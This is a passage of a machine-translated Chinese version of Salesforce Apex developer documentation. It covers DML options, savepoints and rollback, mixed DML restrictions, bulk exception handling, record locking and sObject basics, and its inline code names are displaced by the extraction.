    }
}

关于DML的更多信息

以下是您可能想了解的有关使用数据操作语言的一些事项。

  • 设置 DML 选项
  • 交易控制
  • 在 DML 操作中不能一起使用的 sObject 某些 sObject(有时称为设置对象)上的 DML 操作
    不能与同一事务中其他 sObject 上的 DML 混合使用。之所以存在此限制,是因为某些 sObject 会影响用户对组织中记录的访问。您必须在不同的事务中插入或更新这些类型的 sObject,以防止使用不正确的访问级别权限执行操作。例如,您无法在单个交易中更新帐户和用户角色。
  • 不支持 DML 操作的 sObject
  • 批量 DML 异常处理
  • 您应该了解的有关 Apex 中数据的信息

设置 DML 选项

您可以通过设置所需的选项来指定插入和更新操作的 DML 选项 在对象中。您可以通过在 sObject 上调用方法或将其作为 参数添加到 and 方法中。Database.DMLOptionsDatabase.DMLOptionssetOptionsDatabase.insertDatabase.update使用 DML 选项,您可以指定:

  • 字段的截断行为。
  • 分配规则信息。
  • 重复的规则信息。
  • 是否发送自动电子邮件。
  • 标签的用户区域设置。
  • 操作是否允许部分成功。

该类具有以下属性:

Database.DMLOptions

  • allowFieldTruncation属性
  • assignmentRuleHeader属性
  • dupicateRuleHeader
  • emailHeader属性
  • locale选项属性
  • optAllOrNone(optAllOrNone)属性

DMLOptions 仅适用于针对 API 版本 15.0 及更高版本保存的 Apex。DMLOptions(DMLOptions) 设置仅对使用 Apex DML 执行的记录操作生效,而不对通过 Salesforce 用户界面。

allowFieldTruncation属性

该属性指定 字符串的截断行为。在针对 15.0 之前的 API 版本保存的 Apex 中,如果您 为字符串指定一个值,如果该值太大,则该值将被截断。对于 API 版本 15.0 及更高版本中,如果指定的值过大,则操作将失败,并且 返回错误消息。该属性允许您指定以前的行为 截断,而不是针对 API 版本 15.0 保存的 Apex 中的新行为,以及 后。allowFieldTruncationallowFieldTruncation该属性采用 Boolean 价值。如果 ,该属性将截断 String 值太长,这是 API 版本 14.0 及更早版本中的行为。为 例:

allowFieldTruncationtrue

Database.DMLOptions dml = new Database.DMLOptions();

dml.allowFieldTruncation = true;

assignmentRuleHeader属性

该属性指定 创建案例或潜在顾客时要使用的分配规则。assignmentRuleHeader

注意

Database.DMLOptions 对象支持案例和潜在顾客的分配规则,但不支持 对于帐户。使用该属性,您可以 设置以下选项:

assignmentRuleHeader

  • assignmentRuleID:作业的 ID 案例或线索的规则。分配规则可以处于活动状态,也可以处于非活动状态。ID 可以是 通过查询 AssignmentRule sObject 进行检索。如果指定,则不要指定 。如果该值不在正确的 ID 中 格式(15 个字符或 18 个字符的 Salesforce ID),调用失败,并出现异常 返回。useDefaultRule
  • useDefaultRule:指示是否默认 (活动)分配规则将用于案例或潜在顾客。如果指定,则不指定 一。assignmentRuleId

以下示例使用该选项:

useDefaultRule

Database.DMLOptions dmo = new Database.DMLOptions();
dmo.assignmentRuleHeader.useDefaultRule= true;

Lead l = new Lead(company='ABC', lastname='Smith');
l.setOptions(dmo);
insert l;

以下示例使用该选项:

assignmentRuleID

Database.DMLOptions dmo = new Database.DMLOptions();
dmo.assignmentRuleHeader.assignmentRuleId= '01QD0000000EqAn';

Lead l = new Lead(company='ABC', lastname='Smith');
l.setOptions(dmo);
insert l;

注意

如果组织中没有分配规则,则在 API 中 版本 29.0 及更早版本,创建案例或潜在顾客时,设置为 分配给预定义的默认所有者的案例或潜在顾客。在 API 版本 30.0 和 稍后,案例或潜在顾客未分配,并且不会分配给默认值 所有者。useDefaultRuletrue

dupicateRuleHeader属性

该属性确定是否 可以保存标识为重复的记录。重复的规则是 重复管理功能。dupicateRuleHeader使用该属性,您可以设置 这些选项。

dupicateRuleHeader

  • allowSave:指示记录是否 标识为重复项可以保存。

以下示例演示如何保存已标识为 重复。若要了解如何循环访问重复错误,请参阅 DuplicateError 类

Database.DMLOptions dml = new Database.DMLOptions(); 
dml.DuplicateRuleHeader.AllowSave = true;
Account duplicateAccount = new Account(Name='dupe');
Database.SaveResult sr = Database.insert(duplicateAccount, dml);
if (sr.isSuccess()) {
	System.debug('Duplicate account has been inserted in Salesforce!');
}

emailHeader属性

Salesforce 用户界面允许您指定在以下情况下是否发送电子邮件 将发生以下事件:

  • 创建新案例或任务
  • 将案例电子邮件转换为联系人
  • 新用户电子邮件通知
  • 潜在客户队列电子邮件通知
  • 密码重置

在针对 API 版本 15.0 或更高版本保存的 Apex 中,Database.DMLOptions 属性允许您指定其他 有关由于 Apex 而发生其中一个事件时发送的电子邮件的信息 DML 代码执行。emailHeader使用该属性,可以设置这些选项。

emailHeader

  • triggerAutoResponseEmail:指示是否 触发自动响应规则 () 或不触发 (),用于线索和案例。这封电子邮件可以 由许多事件自动触发,例如在创建案例或 重置用户密码。如果此值设置为 ,则在创建案例时,如果存在联系人的电子邮件地址 在 ContactID 中指定,电子邮件将发送到该地址。如果没有, 电子邮件将发送到 SuppliedEmail 中指定的地址。truefalsetrue
  • triggerOtherEmail:指示是否 触发组织外部的电子邮件 () 或不 ()。这封邮件可以自动 由创建、编辑或删除案例的联系人触发。truefalse
  • triggerUserEmail:指示是否 触发发送给组织中用户的电子邮件 () 或不发送给 ()。这封电子邮件 可由多个事件自动触发;重置密码,创建一个 新用户,或创建或 修改任务。truefalse注意添加注释 Apex 中的案例不会触发向组织中的用户发送电子邮件,即使设置为 。triggerUserEmailtrue

即使自动发送的电子邮件可以由 Salesforce 用户界面,的 DMLOptions 设置仅对在 Apex 代码中执行的 DML 操作生效。emailHeader在以下示例中,选项是 指定:

triggerAutoResponseEmail

Account a = new Account(name='Acme Plumbing');

insert a;

Contact c = new Contact(email='jplumber@salesforce.com', firstname='Joe',lastname='Plumber', accountid=a.id);

insert c;

Database.DMLOptions dlo = new Database.DMLOptions();

dlo.EmailHeader.triggerAutoResponseEmail = true;

Case ca = new Case(subject='Plumbing Problems', contactid=c.id);

database.insert(ca, dlo);

由于群组事件而通过 Apex 发送的电子邮件包含其他行为。组事件是 IsGroupEvent 为 true 的事件。 EventAttendee 对象跟踪受邀加入组的用户、潜在顾客或联系人 事件。请注意通过 Apex 发送的群组活动电子邮件的以下行为:

  • 向用户发送群组活动邀请时,该选项将遵循该选项triggerUserEmail
  • 向潜在顾客或联系人发送群组活动邀请时,该选项将遵循该选项triggerOtherEmail
  • 更新或删除群组活动时发送的电子邮件也会根据需要遵循 和 选项triggerUserEmailtriggerOtherEmail

locale选项属性

该属性指定语言 Apex 返回的任何标签。该值必须是有效的用户区域设置(language 和 国家/地区),例如 de_DE 或 en_GB。该值为 String,长度为 2-5 个字符。前两个 字符始终是 ISO 语言代码,例如“fr”或“en”。如果值为 进一步由一个国家/地区限定,则该字符串还具有下划线 (_) 和另一个 ISO 国家/地区代码,例如“US”或“UK”。例如,美国的字符串是 “en_US”,而加拿大法语的字符串是“fr_CA”。localeOptions

optAllOrNone(optAllOrNone)属性

该属性指定 操作允许部分成功。如果设置为 ,则所有更改 如果任何记录导致错误,则回滚。此属性的默认值是,成功处理的记录已提交 而有错误的记录则没有。此属性在保存的 Apex 中可用 Salesforce API 版本 20.0 及更高版本。optAllOrNoneoptAllOrNonetruefalse

交易控制

所有请求都由触发器、类方法、Web 分隔 执行 Apex 代码的服务、Visualforce 页面或匿名块。如果整个请求 成功完成,所有更改都将提交到数据库。例如,假设一个 Visualforce 页面调用了 Apex 控制器,而 Apex 控制器又调用了额外的 Apex 类。只 当所有 Apex 代码都完成运行并且 Visualforce 页面完成运行时,是 提交到数据库的更改。如果请求未成功完成,则所有 数据库更改将回滚。

有时,在处理记录期间,您的业务规则需要 部分工作(已执行的 DML 语句)被“回滚”,以便处理可以 继续朝另一个方向前进。Apex 使您能够生成保存点, 也就是说,请求中指定数据库当时状态的点。任何 DML 可以放弃保存点之后发生的语句,并且可以将数据库还原到 与生成保存点时所处的状态相同。

以下限制适用于生成保存点变量和回滚 数据库:

  • 如果设置了多个保存点,则回滚到不是最后一个保存点 SavePoint 时,后面的 SavePoint 变量将失效。例如,如果你 先生成保存点,然后生成保存点,然后回滚到 ,该变量将不再有效。如果您尝试使用它,您将收到运行时错误。SP1SP2SP1SP2
  • 对保存点的引用不能交叉触发器调用,因为每个触发器调用都是 新的触发器上下文。如果将保存点声明为静态变量,则尝试在 触发上下文时,您将收到运行时错误。
  • 您设置的每个保存点都计入 DML 语句的调控器限制。
  • 静态变量在回滚期间不会还原。如果您尝试再次运行触发器,则 静态变量保留第一次运行的值。
  • 每次回滚都计入 DML 语句的调控器限制。您将收到一个 运行时错误,如果尝试回滚数据库的次数更多。
  • 设置保存点后插入的 sObject 上的 ID 未清除 回滚后。创建一个要在回滚后插入的 sObject。尝试插入 sObject 使用在回滚之前创建的变量失败,因为 sObject 变量具有 使用相同的变量更新或更新插入 sObject 也会失败,因为 sObject 不在数据库中,因此无法更新。

下面是使用 和 Database 方法的示例。setSavepointrollback

Account a = new Account(Name = 'xxx'); insert a;
System.assertEquals(null, [SELECT AccountNumber FROM Account WHERE Id = :a.Id].
                           AccountNumber);

// Create a savepoint while AccountNumber is null
Savepoint sp = Database.setSavepoint();

// Change the account number
a.AccountNumber = '123';
update a;
System.assertEquals('123', [SELECT AccountNumber FROM Account WHERE Id = :a.Id].
                             AccountNumber);

// Rollback to the previous null value
Database.rollback(sp);
System.assertEquals(null, [SELECT AccountNumber FROM Account WHERE Id = :a.Id].
                            AccountNumber);

在 DML 操作中不能一起使用的 sObject

对某些 sObject(有时称为设置对象)的 DML 操作, 不能在同一事务中与其他 sObject 上的 DML 混合使用。此限制 之所以存在,是因为某些 sObject 会影响用户对组织中记录的访问。您必须 在不同的事务中插入或更新这些类型的 sObject 以防止操作 从不正确的访问级别权限发生。例如,您无法更新 单个事务中的帐户和用户角色。执行 DML 操作时,不能将以下 sObject 与其他 sObject 一起使用 在同一笔交易中。

  • 身份验证会话
  • 字段权限
  • 预测分享
  • 群您只能在事务中插入和更新组,并与其他组 s对象。不允许其他 DML 操作。
  • 集团成员注意使用 Salesforce API 版本 14.0 保存旧版 Apex 代码 更早版本,您可以在 相同的交易。
  • 对象权限
  • ObjectTerritory2AssignmentRule
  • ObjectTerritory2AssignmentRuleItem
  • 权限集
  • 权限集分配
  • QueueSObject (英语)
  • 规则区域 2 协会
  • SetupEntityAccess
  • 领土
  • 地区2
  • Territory2Model(区域2模型)
  • 用户您可以在 Apex 代码中与其他 sObject 一起在事务中插入用户 使用 Salesforce API 版本 14.0 及更早版本保存。您可以插入一个 用户在 Apex 代码中与其他 sObject 的事务中保存 将 UserRoleId 指定为 null 时的 Salesforce API 版本 15.0 及更高版本。您可以使用以下命令更新事务中的用户 使用 Salesforce API 版本 14.0 保存的 Apex 代码中的其他 sObject 和 早些时候您可以使用以下 使用 Salesforce API 版本 15.0 及更高版本保存的 Apex 代码,当用户 不包含在 Lightning Sync 配置中 (活动或非活动),并且以下字段不会更新:
    • UserRoleId
    • IsActive
    • 预测已启用
    • IsPortal已启用
    • 用户名
    • 配置文件 Id
  • UserPackage许可证
  • 用户角色
  • 用户区域
  • UserTerritory2Association

如果您将 Visualforce 页面与自定义控制器一起使用,则不能混合使用 sObject 类型 在单个请求或操作中使用这些特殊 sObject 中的任何一个。但是,您可以 在后续请求中对这些不同类型的 sObject 执行 DML 操作。为 例如,您可以使用“保存”按钮创建一个帐户,然后创建一个具有 具有提交按钮的非 null 角色。您可以使用 流程如下:

  1. 创建一个对一种类型的 sObject 执行 DML 操作的方法。
  2. 创建第二个方法,该方法使用 future 批注来操作第二个 sObject 类型。

此过程将在下一节的示例中演示。

示例:使用 Future 方法执行混合 DML 操作

此示例演示如何使用 future 方法执行混合 DML 操作 对 User 对象执行 DML 操作。

public class MixedDMLFuture {
    public static void useFutureMethod() {
        // First DML operation
        Account a = new Account(Name='Acme');
        insert a;
        
        // This next operation (insert a user with a role) 
        // can't be mixed with the previous insert unless 
        // it is within a future method. 
        // Call future method to insert a user with a role.
        Util.insertUserWithRole(
            'mruiz@awcomputing.com', 'mruiz', 
            'mruiz@awcomputing.com', 'Ruiz');        
    }
}
public class Util {
    @future
    public static void insertUserWithRole(
        String uname, String al, String em, String lname) {

        Profile p = [SELECT Id FROM Profile WHERE Name='Standard User'];
        UserRole r = [SELECT Id FROM UserRole WHERE Name='COO'];
        // Create new user with a non-null user role ID 
        User u = new User(alias = al, email=em, 
            emailencodingkey='UTF-8', lastname=lname, 
            languagelocalekey='en_US', 
            localesidkey='en_US', profileid = p.Id, userroleid = r.Id,
            timezonesidkey='America/Los_Angeles', 
            username=uname);
        insert u;
    }
}
  • 测试方法
    中的混合 DML 操作 测试方法允许执行混合数据操作语言 (DML) 操作,其中包括设置 sObject 和其他 sObject(如果执行 DML 操作的代码包含在方法块中)。还可以在测试方法调用的异步作业中执行 DML。例如,通过这些技术,您可以在同一测试中创建具有角色和其他 sObject 的用户。System.runAs

测试方法中的混合 DML 操作

测试方法允许执行混合数据操作语言 (DML) 操作 包括设置 sObject 和其他 sObject(如果执行 DML 的代码) 操作包含在方法中 块。还可以在测试方法调用的异步作业中执行 DML。这些 例如,通过技术,您可以创建具有角色的用户,并在 同样的测试。

System.runAs

设置 sObjects 列在不能一起使用的 sObjects 中 在 DML 操作中。

注意

由于在部署期间会跳过对混合 DML 操作的验证,因此可能会有 部署测试时与运行时测试失败次数的差异 用户界面。

示例:System.runAs 块中的混合 DML 操作

此示例说明如何将混合 DML 操作包含在块中以避免混合 DML 错误。该块在 当前用户的上下文。它创建一个具有角色和测试的测试用户 帐户,这是一个混合 DML 操作。

System.runAsSystem.runAs

@isTest
private class MixedDML {
    static testMethod void mixedDMLExample() {  
        User u;
        Account a;
        User thisUser = [SELECT Id FROM User WHERE Id = :UserInfo.getUserId()];
       // Insert account as current user
        System.runAs (thisUser) {
            Profile p = [SELECT Id FROM Profile WHERE Name='Standard User'];
            UserRole r = [SELECT Id FROM UserRole WHERE Name='COO'];
            u = new User(alias = 'jsmith', email='jsmith@acme.com', 
                emailencodingkey='UTF-8', lastname='Smith', 
                languagelocalekey='en_US', 
                localesidkey='en_US', profileid = p.Id, userroleid = r.Id,
                timezonesidkey='America/Los_Angeles', 
                username='jsmith@acme.com');
            insert u;
            a = new Account(name='Acme');
            insert a;
        }
    }
}

使用@future绕过混合 测试方法中的 DML 错误

不允许在单个事务中混合 DML 操作。你不能执行 在同一事务中设置一个 sObject 和另一个 sObject 上的 DML。但是,您可以 将一种类型的 DML 作为异步作业的一部分执行,而在另一种作业中执行其他类型的 DML 异步作业或原始事务中。此类包含一个方法,该方法将由 随后的 例。

@future

public class InsertFutureUser {
    @future
    public static void insertUser() {
        Profile p = [SELECT Id FROM Profile WHERE Name='Standard User'];
        UserRole r = [SELECT Id FROM UserRole WHERE Name='COO'];
        User futureUser = new User(firstname = 'Future', lastname = 'User',
            alias = 'future', defaultgroupnotificationfrequency = 'N',
            digestfrequency = 'N', email = 'test@test.org',
            emailencodingkey = 'UTF-8', languagelocalekey='en_US', 
            localesidkey='en_US', profileid = p.Id, 
            timezonesidkey = 'America/Los_Angeles',
            username = 'futureuser@test.org',
            userpermissionsmarketinguser = false,
            userpermissionsofflineuser = false, userroleid = r.Id);
        insert(futureUser);
    }
}

此类调用上一个中的方法 类。

@isTest
public class UserAndContactTest {
    public testmethod static void testUserAndContact() {
        InsertFutureUser.insertUser();
        Contact currentContact = new Contact(
            firstName = String.valueOf(System.currentTimeMillis()),
            lastName = 'Contact');
        insert(currentContact);
    }
}

不支持 DML 操作的 sObject

您的组织包含 Salesforce 提供的标准对象和自定义对象 您创建的。这些对象可以在 Apex 中作为 sObject 数据类型的实例进行访问。 您可以查询这些对象,并对它们执行DML操作。但是,一些标准 对象不支持 DML 操作,但您仍然可以在查询中获取它们。他们 包括以下内容:

  • AccountTerritoryAssignmentRule
  • AccountTerritoryAssignmentRuleItem
  • Apex组件
  • ApexPage(顶点页面)
  • 营业时间
  • 业务流程
  • 种类Node
  • 货币类型
  • DatedConversionRate
  • NetworkMember(仅允许)update
  • 流程实例
  • 轮廓
  • 记录类型
  • SelfServiceUser(自助服务用户)
  • 静态资源
  • 地区2
  • UserAccountTeamMember 用户
  • 用户首选项
  • 用户区域
  • 网页链接
  • 如果客户记录的记录类型为“个人帐户”,则“名称”字段不能为 使用 DML 操作进行修改。

批量 DML 异常处理

批量 DML 调用引起的异常(包括 作为调用的直接结果而触发的触发器)的处理方式不同,具体取决于 原始呼叫的来源:

  • 当由于直接源自 Apex DML 的批量 DML 调用而发生错误时 语句,或者如果数据库 DML 的参数 方法指定为 ,运行时 引擎遵循“全有或全无”规则:在单次 操作,所有记录必须更新成功或整个操作 回滚到 DML 语句之前的点。如果指定了数据库 DML 方法的参数 as 和 a before 触发器分配一个 字段的值无效,则不会插入部分有效记录集。allOrNonetrueallOrNonefalse
  • 当由于源自 SOAP API 的批量 DML 调用而发生错误时,默认 设置,或者如果数据库 DML 的参数 方法被指定为 , 运行时引擎至少尝试部分保存:allOrNonefalse
    1. 在第一次尝试期间,运行时引擎将处理所有记录。任何 由于验证规则或 唯一索引冲突被搁置一旁。
    2. 如果在第一次尝试期间出现错误,运行时引擎会使 第二次尝试,仅包括未生成的记录 错误。在第一个期间未生成错误的所有记录 尝试,如果任何记录生成错误(可能 由于竞争条件),它也被搁置一旁。
    3. 如果在第二次尝试期间出现其他错误,则运行时 引擎进行第三次也是最后一次尝试,仅包含这些记录 在第一次和第二次尝试期间不会产生错误。如果有的话 记录生成错误,整个操作失败并显示错误 消息,“存在 Apex 触发器时批量重试次数过多 和部分故障。
    注意
    • 在第二次和第三次尝试期间,调速器限制将重置为 它们在第一次尝试之前的原始状态。请参阅 Execution Governors 和 限制。
    • Apex 触发器在第一次保存尝试时触发,如果出现错误 对于某些记录,随后会尝试 保存成功记录的子集,触发器将在此上重新触发 记录的子集。

您应该了解的有关 Apex 中数据的信息

非 null 必填字段、值和 null 字段在现有记录上插入新记录或更新必填字段时,必须 为所有必需的值提供非值 领域。null与 SOAP API 不同,Apex 允许您在不更新 sObject 记录上的数组的情况下更改字段值。The API 由于许多 SOAP 提供程序对值的处理不一致,因此需要更新此数组。因为 Apex 运行 仅在 Lightning 平台上,此解决方法是不必要的。nullfieldsToNullnull某些 sObject 不支持 DML某些 sObject 不支持 DML 操作。请参阅不支持 DML 操作的 sObject。字符串字段截断和 API 版本使用 API 版本 15.0 及更高版本保存(编译)的 Apex 类和触发器会生成 如果为字段分配的 String 值太长,则运行时错误。用于启用 DML 操作的 sObject 属性为了能够插入、更新、删除或取消删除 sObject 记录,sObject 必须 将相应的属性(、、或分别)设置为 。createableupdateabledeletableundeletabletrueID 值该语句自动设置 ID 所有新 sObject 记录的值。插入已具有 ID 的记录,以及 因此,组织的数据中已存在 – 会产生错误。有关详细信息,请参阅列表。insertand 语句检查每批记录中是否存在重复的 ID 值。如果 有重复项,前五个被处理。对于第六个和所有附加 重复的 ID,则这些条目的 SaveResult 会标记为类似于 以后:insertupdateMaximum number of duplicate updates in one batch (5 allowed). Attempt to update Id more than once in this API call: number_of_attempts.更新的 sObject 记录的 ID 不能在语句中修改,但相关记录 ID 可以修改。update具有唯一约束的字段对于某些具有具有唯一约束的字段的 sObject, 插入重复的 sObject 记录会导致错误。例如,插入 具有相同名称的 CollaborationGroup sObject 会导致错误,因为 CollaborationGroup 记录必须具有唯一的名称。自动设置系统字段插入新记录时,系统字段(如 、 和)会自动更新。你不能 在 Apex 中显式指定这些值。同样,在更新记录时,系统 、 和 等字段会自动更新。CreatedDateCreatedByIdSystemModstampLastModifiedDateLastModifiedByIdSystemModstampDML 语句处理的最大记录数最多可以将 10,000 个 sObject 记录传递给单个 、 、 和 方法。insertupdatedeleteundelete

每个语句由两个操作组成,一个用于插入记录,另一个用于插入记录 一个用于更新记录。其中每个操作都分别受 和 的运行时限制的约束。例如,如果更新插入超过 10,000 条记录 并且所有这些都正在更新,您会收到一个错误。(请参阅执行调控器和限制upsertinsertupdate)更新插入和外键如果已将外键设置为引用,则可以使用外键更新插入 sObject 记录 领域。有关详细信息,请参阅对象引用中的字段类型 对于 Salesforce。为多个对象类型创建记录

与 SOAP API 一样,您可以在 Apex 中为多个对象类型创建记录。 包括自定义对象,在 API 版本 20.0 及更高版本的一次 DML 调用中。例如 您可以在一次通话中创建联系人和帐户。您最多可以为 10 个创建记录 一次调用中的对象类型。

记录的保存顺序与它们在 sObject 输入数组中输入的顺序相同。如果 您正在输入具有父子关系的新记录,即父记录 必须在数组中的子记录之前。例如,如果您要创建联系人 如果引用的帐户也在同一调用中创建,则该帐户必须 数组中的索引比联系人的索引小。联系人引用了 帐户,使用外部 ID 字段。

您不能添加引用相同对象类型的另一条记录的记录 同样的电话。例如,“联系人”对象具有“报告对象”字段 这是对另一个联系人的引用。如果一个联系人,则无法在一次通话中创建两个联系人 联系人使用“报告对象”字段引用 输入数组。您可以创建一个联系人,该联系人引用了另一个联系人 以前创建。

Salesforce 将多个对象类型的记录分解为多个块。一个 chunk 是输入数组的子集,每个 chunk 包含一个对象的记录 类型。数据是逐块提交的。与以下项相关的任何 Apex 触发器 区块中的记录每个区块调用一次。考虑一个 sObject 输入数组 包含以下一组记录:

account1, account2, contact1, contact2, contact3, case1, account3, account4, contact4

Salesforce 将记录拆分为五个块:

  1. account1, account2
  2. contact1, contact2, contact3
  3. case1
  4. account3, account4
  5. contact4

每个调用最多可以处理 10 个区块。如果 sObject 数组包含超过 10 个 块,则必须在多个调用中处理记录。更多信息 关于此功能,请参阅为不同的 SOAP API Developer 中的对象类型 指南。

注意

对于 Apex,插入或更新 DML 操作的输入数组分块具有 两个可能的原因:存在多个对象类型或默认块大小 200. 如果由于这两个原因而在输入数组中发生分块,则每个分块 计入 10 个区块的限制。如果输入数组仅包含一种类型的 sObject,则不会达到此限制。但是,如果输入数组至少包含两个 sObject 类型,并包含大量对象,这些对象被分块成 200 个组, 您可能会达到此限制。例如,如果您有一个包含 1,001 的数组 连续的潜在客户后跟 1,001 个连续的联系,数组将被分块到 12 组:两组是由于 Lead 和 Contact 的不同 sObject 类型,以及 其余部分是由于默认的分块大小为 200 个对象。在本例中, 插入或更新操作返回错误,因为已达到 10 个区块的限制 在混合阵列中。解决方法是为每个对象类型调用 DML 操作 分别。DML 和知识对象在知识文章(KnowledgeArticleVersion 类型,例如 自定义FAQ__kav文章类型),正在运行的用户必须具有知识用户功能 许可证。否则,调用包含对知识的 DML 操作的类方法 文章会导致错误。如果正在运行的用户不是系统管理员,并且不是 具有知识用户功能许可证,调用类中的任何方法都会返回错误 即使调用的方法不包含知识文章的 DML 代码,但另一个 方法。例如,下面的类包含两个方法,只有一个 其中对知识文章执行 DML。非管理员非知识用户,其 调用该方法将获得以下内容 错误:doNothingDML operation UPDATE not allowed on FAQ__kav

public class KnowledgeAccess {
 
  public void doNothing() {
  }
  
  public void DMLOperation() {  
    FAQ__kav[] articles = [SELECT Id FROM FAQ__kav WHERE PublishStatus = 'Draft' and Language = 'en_US'];
    update articles;
  }
 
}

解决方法是将输入数组从 FAQ__kav 数组强制转换为 DML 语句 articles 添加到泛型 sObject 类型的数组中,如下所示:

public void DMLOperation() {  
    FAQ__kav[] articles = [SELECT id FROM FAQ__kav WHERE PublishStatus = 'Draft' and Language = 'en_US'];
    update (sObject[]) articles;
}

锁定记录

锁定 sObject 记录时,不允许其他客户端或用户进行更新 通过代码或 Salesforce 用户界面。锁定记录的客户端可以 对记录执行逻辑并进行更新,并保证锁定的记录 在锁定期间不会被其他客户端更改。

  • 锁定语句
    在 Apex 中,您可以使用在更新 sObject 记录时锁定它们,以防止争用条件和其他线程安全问题。FOR UPDATE
  • 锁定 SOQL For 循环
  • 避免死锁

锁定语句

在 Apex 中,您可以使用锁定 sObject 记录,以防止竞争条件和其他 线程安全问题。

FOR UPDATE

当 sObject 记录被锁定时,不允许其他客户端或用户进行更新 通过代码或 Salesforce 用户界面。锁定记录的客户端可以 对记录执行逻辑并进行更新,并保证锁定的记录 在锁定期间不会被其他客户端更改。锁被释放 当交易完成时。要在 Apex 中锁定一组 sObject 记录,请在任何内联 SOQL 语句后嵌入关键字。例如 以下语句除了查询两个帐户外,还会锁定帐户 那是 返回:

FOR UPDATE

Account [] accts = [SELECT Id FROM Account LIMIT 2 FOR UPDATE];

注意

您不能使用 任何使用锁定的 SOQL 查询。ORDER BY

锁定注意事项

  • 当记录被客户端锁定时,锁定客户端可以修改其字段 同一事务中数据库中的值。其他客户端必须等到 事务完成,记录不再被锁定,然后才能更新 相同的记录。其他客户端仍然可以查询相同的记录,同时 锁。
  • 如果尝试锁定当前由其他客户端锁定的记录,则进程将等待 在获取新锁之前,最多 10 秒才能释放锁。如果等待 时间超过 10 秒,a 是 扔。同样,如果您尝试更新当前被其他客户端锁定的记录 并且锁在最多 10 秒内没有松开,而是抛出 A。QueryExceptionDmlException
  • 如果客户端尝试修改锁定的记录,则在 锁定在进行更新调用后的短时间内释放。在这个 情况下,如果 第二个客户获得了该记录的旧副本。为了防止发生覆盖, 第二个客户端必须首先锁定记录。锁定过程将返回 通过语句从数据库获取的记录。第二个客户端可以使用此副本进行新的更新。SELECT
  • 在 Apex via 子句中获取的记录锁在进行标注时会自动释放。谨慎使用 同时在以前可以执行查询的上下文中进行标注。FOR UPDATEFOR UPDATE
  • 当您对一条记录执行 DML 操作时,相关记录也会被锁定 到有问题的记录。

警告

在 Apex 代码中设置锁定时要小心。请参阅避免死锁。

锁定 SOQL For 循环

关键字也可以在 SOQL 循环。为 例:

FOR UPDATEfor

for (Account[] accts : [SELECT Id FROM Account
                        FOR UPDATE]) {
    // Your code
}

正如 SOQL For 循环中所讨论的,上面的示例在内部对应于 SOAP API 中对 and 方法的调用。query()queryMore()

请注意,没有语句。如果你的 Apex 触发器成功完成,任何数据库更改都会自动提交。 如果 Apex 触发器未成功完成,则对数据库所做的任何更改 被回滚。commit

避免死锁

Apex 存在死锁的可能性,就像任何其他涉及的过程逻辑语言一样 更新多个数据库表或行。为避免此类死锁,Apex 运行时引擎:

  1. 首先锁定 sObject 父记录,然后锁定子记录。
  2. 当多个相同类型的记录被 编辑。

作为开发人员,在锁定行时要小心,以确保你 不引入死锁。验证是否正在使用标准死锁 通过以相同顺序访问表和行的规避技术 从应用程序中的所有位置。

在 Apex 中处理数据

您可以在 Lightning 平台持久性层中添加数据并与之交互。这 sObject 数据类型是保存数据对象的主要数据类型。您将使用数据 操作语言 (DML) 用于处理数据,并使用查询语言检索数据, 例如(),等等。

  • 使用 sObjects
    在本开发人员指南中,该术语是指可以存储在 Lightning 平台数据库中的任何对象。sObject
  • 数据操作语言
    Apex 使您能够在数据库中插入、更新、删除或还原数据。DML 操作允许您一次修改一条记录或批量修改记录。
  • SOQL 和 SOSL 查询
    您可以在 Apex 中即时评估 Salesforce 对象查询语言 (SOQL) 或 Salesforce 对象搜索语言 (SOSL) 语句,方法是将语句括在方括号中。
  • SOQL For 循环 SOQL 循环遍历
    SOQL 查询返回的所有 sObject 记录。for
  • sObject 集合
    可以管理列表、集和映射中的 sObject。
  • 动态Apex
  • Apex 安全和共享
    当您使用 Apex 时,代码的安全性至关重要。您需要为 Apex 类添加用户权限并强制执行共享规则。请继续阅读,了解 Apex 托管共享并获取一些安全提示。
  • 自定义设置 自定义设置
    类似于自定义对象。应用程序开发人员可以创建自定义数据集,并为组织、配置文件或特定用户关联自定义数据。所有自定义设置数据都公开在应用程序缓存中,这样就可以进行高效访问,而无需重复查询数据库。然后,公式字段、验证规则、流、Apex 和 SOAP API 可以使用此数据。

使用 sObjects

在本开发人员指南中,该术语是指任何对象 可以存储在 Lightning 平台数据库中。

sObject

  • sObject 类型
    sObject 变量表示一行数据,只能在 Apex 中使用对象的 SOAP API 名称声明。
  • 访问 SObject 字段
  • 验证 sObjects 和字段

sObject 类型

sObject 变量表示一行数据,只能在 Apex 中使用 对象的 SOAP API 名称。

例如:

Account a = new Account();
MyCustomObject__c co = new MyCustomObject__c();

与 SOAP API 类似,Apex 允许使用泛型 sObject 抽象类型来 表示任何对象。sObject 数据类型可用于处理不同 sObject 的类型。

操作人员仍然需要混凝土 sObject 类型,因此所有实例都是特定的 sObject。例如:new

sObject s = new Account();

还可以在泛型 sObject 类型和特定 sObject 类型之间使用强制转换。 例如:

// Cast the generic variable s from the example above
// into a specific account and account variable a
Account a = (Account)s;
// The following generates a runtime error
Contact c = (Contact)s;

由于 sObject 的工作方式与对象类似,因此您还可以将 以后:

Object obj = s;
// and
a = (Account)obj;

DML 操作适用于声明为泛型 sObject 数据类型的变量以及 与常规 sObjects。

sObject 变量初始化为 ,但 可以使用运算符分配有效的对象引用。例如:nullnew

Account a = new Account();

开发人员还可以在实例化新的 s对象。例如:name = value

Account a = new Account(name = 'Acme', billingcity = 'San Francisco');

有关从 Lightning 平台数据库访问现有 sObject 的信息,请参阅 SOQL 和 SOSL 参考中的“SOQL 和 SOSL 查询”。

注意

当对象记录 最初是第一次插入到数据库中。有关详细信息,请参阅列表。

自定义标签

自定义标签 不是标准的 sObject。您无法创建自定义标签的新实例。您可以 仅使用 访问自定义标签的值。为 例:

system.label.label_name

String errorMsg = System.Label.generic_error;

为 有关自定义标签的详细信息,请参阅 Salesforce 中的“自定义标签” 帮助。

访问 SObject 字段

与 Java 一样,可以使用简单的点表示法访问或更改 SObject 字段。为 例:

Account a = new Account();
a.Name = 'Acme';    // Access the account name field and assign it 'Acme'

系统生成的字段,例如“创建者”或“上次修改时间” 日期,无法修改。如果尝试,Apex 运行时引擎会生成错误。 此外,公式字段值和其他字段的值对 无法更改上下文用户。

如果使用泛型 SObject 类型而不是特定对象(如 Account),则可以 仅使用点表示法检索 Id 字段。您可以为使用 Salesforce API 版本 27.0 保存的 Apex 代码设置“Id”字段,并且 稍后)。或者,您可以使用泛型 SObject 和方法。请参见SObject 类。putget

此示例演示如何访问 Id 字段和操作 不允许在通用 SObject 上使用。

